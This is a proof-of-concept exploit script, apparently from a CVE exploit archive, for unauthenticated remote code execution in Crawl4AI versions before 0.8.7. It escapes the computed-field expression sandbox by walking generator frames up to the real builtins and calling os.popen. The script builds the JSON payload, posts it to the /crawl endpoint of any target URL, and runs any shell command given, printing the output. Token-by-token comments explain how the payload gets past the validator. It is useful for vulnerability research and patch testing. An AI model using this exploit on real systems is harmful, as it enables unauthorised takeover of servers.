5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-53753 — Crawl4AI < 0.8.7 — Unauthenticated Remote Code Execution
AST sandbox escape in the `_safe_eval_expression()` computed-fields evaluator.

The Docker API server (`POST /crawl`) deserializes a caller-supplied
`crawler_config` into a `CrawlerRunConfig`, including a `JsonCssExtractionStrategy`
schema. A computed field of type `expression` is passed to `_safe_eval_expression()`,
whose AST allow-list only rejects attribute/call names starting with "_" (and imports).
Frame attributes `gi_frame` / `f_back` / `f_builtins` do not start with "_", and the
builtins dict key `__import__` is reached via subscript (never inspected). Walking the
running generator's frame chain escapes the sandboxed builtins to the real builtins,
yielding `__import__('os').popen(<cmd>).read()` (output returned in-band).

No authentication is required: the shipped config has `jwt_enabled: false`, so the
`/crawl` token dependency is a no-op.

Author: Caio Fabrício (BiiTts) — https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import json
import sys
import urllib.request


def build_expression(cmd: str) -> str:
    """Computed-field expression that escapes the AST sandbox and runs `cmd`.

    Uses os.popen(cmd).read() so the command's stdout becomes the computed field
    value and is returned IN-BAND in the /crawl JSON response (in-band RCE proof).
    """
    # Final expression (with CMD substituted):
    #
    #   (lambda: ((g := (g.gi_frame.f_back.f_back.f_back
    #                     .f_builtins['__import__']('os').popen('CMD').read()
    #                    for i in [1])), list(g))[-1])()
    #
    # Token-by-token, mapped to the AST node the validator sees (extraction_strategy.py):
    #
    #   (lambda: ...)()        ast.Lambda + ast.Call(func=Lambda)  -> not a Name/Attribute, NOT checked.
    #                          The lambda creates a real function scope so the walrus name below
    #                          becomes a CLOSURE CELL that the inner genexpr can read.
    #   ( A , list(g) )[-1]    ast.Tuple + ast.Subscript. Walrus is ILLEGAL inside a comprehension's
    #                          iterable, so we bind g here, in a tuple element, then drive it.
    #   g := ( <body> for i in [1])
    #                          ast.NamedExpr binding an ast.GeneratorExp. Neither is inspected.
    #                          The genexpr <body> references g (itself) via the closure cell.
    #   list(g)                ast.Call(func=Name 'list'). 'list' does NOT start with '_' and is in
    #                          _SAFE_EVAL_BUILTINS, so the call passes AND it RUNS the generator,
    #                          making g.gi_frame a LIVE frame (so .f_back is populated, not None).
    #   g.gi_frame             ast.Attribute attr='gi_frame'  -> no leading '_', PASSES.
    #   .f_back .f_back .f_back ast.Attribute attr='f_back' x3  -> no leading '_', PASSES.
    #                          Walks up: running genexpr -> eval('<expression>') frame (sandboxed
    #                          builtins) -> lambda frame -> _safe_eval_expression frame (REAL builtins).
    #   .f_builtins            ast.Attribute attr='f_builtins' -> no leading '_', PASSES.
    #                          On the outer frame this is the FULL builtins mapping (__import__, etc.).
    #   ['__import__']         ast.Subscript. The validator only checks ast.Attribute.attr and
    #                          ast.Call func names -- it NEVER looks at subscript keys. The dunder
    #                          string '__import__' slips through as plain data.
    #   ('os')                 ast.Call whose func is the Subscript above (not Name/Attribute) -> not
    #                          checked. Yields the real os module.
    #   .popen('CMD').read()   ast.Attribute attr='popen'/'read' -> no leading '_', PASSES. popen runs
    #                          the shell command; .read() returns its STDOUT, which becomes the genexpr
    #                          value -> the computed field value -> reflected in the /crawl response.
    #
    # f_back depth = 3 is correct for crawl4ai 0.8.6's _safe_eval_expression call stack.
    safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'")  # keep the single-quoted shell string intact
    chain = "g.gi_frame.f_back.f_back.f_back.f_builtins"
    return (
        "(lambda: (("
        f"g := ({chain}['__import__']('os').popen('{safe_cmd}').read() for i in [1])"
        "), list(g))[-1])()"
    )


def build_payload(cmd: str) -> dict:
    expr = build_expression(cmd)
    html = "<html><body><div id='x'>hi</div></body></html>"
    return {
        "urls": [f"raw://{html}"],
        "crawler_config": {
            "type": "CrawlerRunConfig",
            "params": {
                "extraction_strategy": {
                    "type": "JsonCssExtractionStrategy",
                    "params": {
                        "schema": {
                            "name": "pwn",
                            "baseSelector": "div",
                            "fields": [
                                {"name": "out", "type": "computed", "expression": expr}
                            ],
                        }
                    },
                }
            },
        },
    }


def main() -> int:
    ap = argparse.ArgumentParser(description="CVE-2026-53753 Crawl4AI unauth RCE PoC")
    ap.add_argument("target", help="Base URL, e.g. http://127.0.0.1:11235")
    ap.add_argument("-c", "--cmd", default="id", help="Shell command to run on the server")
    ap.add_argument("--print-payload", action="store_true", help="Print JSON payload and exit")
    args = ap.parse_args()

    payload = build_payload(args.cmd)
    if args.print_payload:
        print(json.dumps(payload, indent=2))
        return 0

    url = args.target.rstrip("/") + "/crawl"
    data = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=data, headers={"Content-Type": "application/json"})
    print(f"[*] POST {url}  (cmd: {args.cmd!r}, no auth)")
    try:
        with urllib.request.urlopen(req, timeout=120) as resp:
            body = resp.read().decode(errors="replace")
            print(f"[*] HTTP {resp.status}")
            print(body[:800])
    except Exception as e:
        # os.system return code is an int; extraction swallows output, so non-2xx is common.
        print(f"[!] Request raised/returned: {e}")
    print("[*] Command executed server-side. Use a blind/OAST or file-write cmd to confirm.")
    return 0


if __name__ == "__main__":
    sys.exit(main())